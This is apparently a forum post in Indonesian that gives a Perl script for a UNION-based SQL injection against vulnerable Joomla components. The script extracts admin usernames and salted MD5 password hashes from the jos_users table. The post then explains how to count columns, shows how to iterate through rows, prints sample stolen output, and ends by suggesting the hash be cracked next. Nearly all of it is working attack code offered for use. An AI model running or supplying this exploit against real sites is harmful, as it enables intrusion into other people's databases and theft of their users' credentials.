Code: Select all
#!/usr/bin/perl -w
print "\t\t############################################################\n\n";
print "\t\t# Joomla SQL Injection #\n\n";
print "\t\t############################################################\n\n";
use LWP::UserAgent;
die "Contoh: perl $0 'http://joomla_web.com/path/index.php?option=com_contoh&id=1' 'baris_dari_pass'\n" unless @ARGV;
$user="username";
$pass="password";
$tabel="jos_users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $ARGV[0] .
"+AND+1=2+union+all+select+1,concat(CHAR(60,117,115,101,114,62),".$user.",CHAR(60,117,115,101,114,62),CHAR(60,112,97,115,115,62),".$pass.",CHAR(60,112,97,115,115,62)),3,4,5+from+".$tabel."+LIMIT+".$ARGV[1].",1--";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;
if ($answer =~ /<user>(.*?)<user>/){
print "\n[+] Username : $1";
}
if ($answer =~/<pass>(.*?)<pass>/){
print "\n[+] password : $1\n\n";
print "\t\t# berhasil #\n\n";}
else{print "\n[-] gagal...\n";}
misalnya :
1. target adalah http://joomla_web.com/path/index.php?option=com_contoh&id=1
2. banyaknya colom adalah 5 ===>+AND+1=2+UNION+SELECT+1,2,3,4,5--
3. nomor yang muncul adalah 2 ===>+AND+1=2+UNION+SELECT+1,concat(CHAR(60,117,115,101,114,62),".$user.",CHAR(60,117,115,101,114,62),CHAR(60,112,97,115,115,62),".$pass.",CHAR(60,112,97,115,115,62)),3,4,5--
lalu menggunaknnnya
perl joomla.pl 'http://joomla_web.com/path/index.php?option=com_contoh&id=1' '0'
keterangan :
joomla.pl ==>nama file
'http://joomla_web.com/path/index.php?option=com_contoh&id=1' ==>joomla yg vuln
'0' ==>row pertama / baris pertama dari tabel jos_usernya, untuk ke dua ganti dengan '1', n seterusnya
Jika berhasil maka akan seperti ini
############################################################
# Joomla SQL Injection #
############################################################
[+] Username : admin
[+] password : faae726c2d28d65735ba190c5b249e54:G9A9HKtr7Go3xuBZRTUjIz0ufiyOBd8A
# berhasil #
sekarang tinggal mengcrack md5 salt nya deh...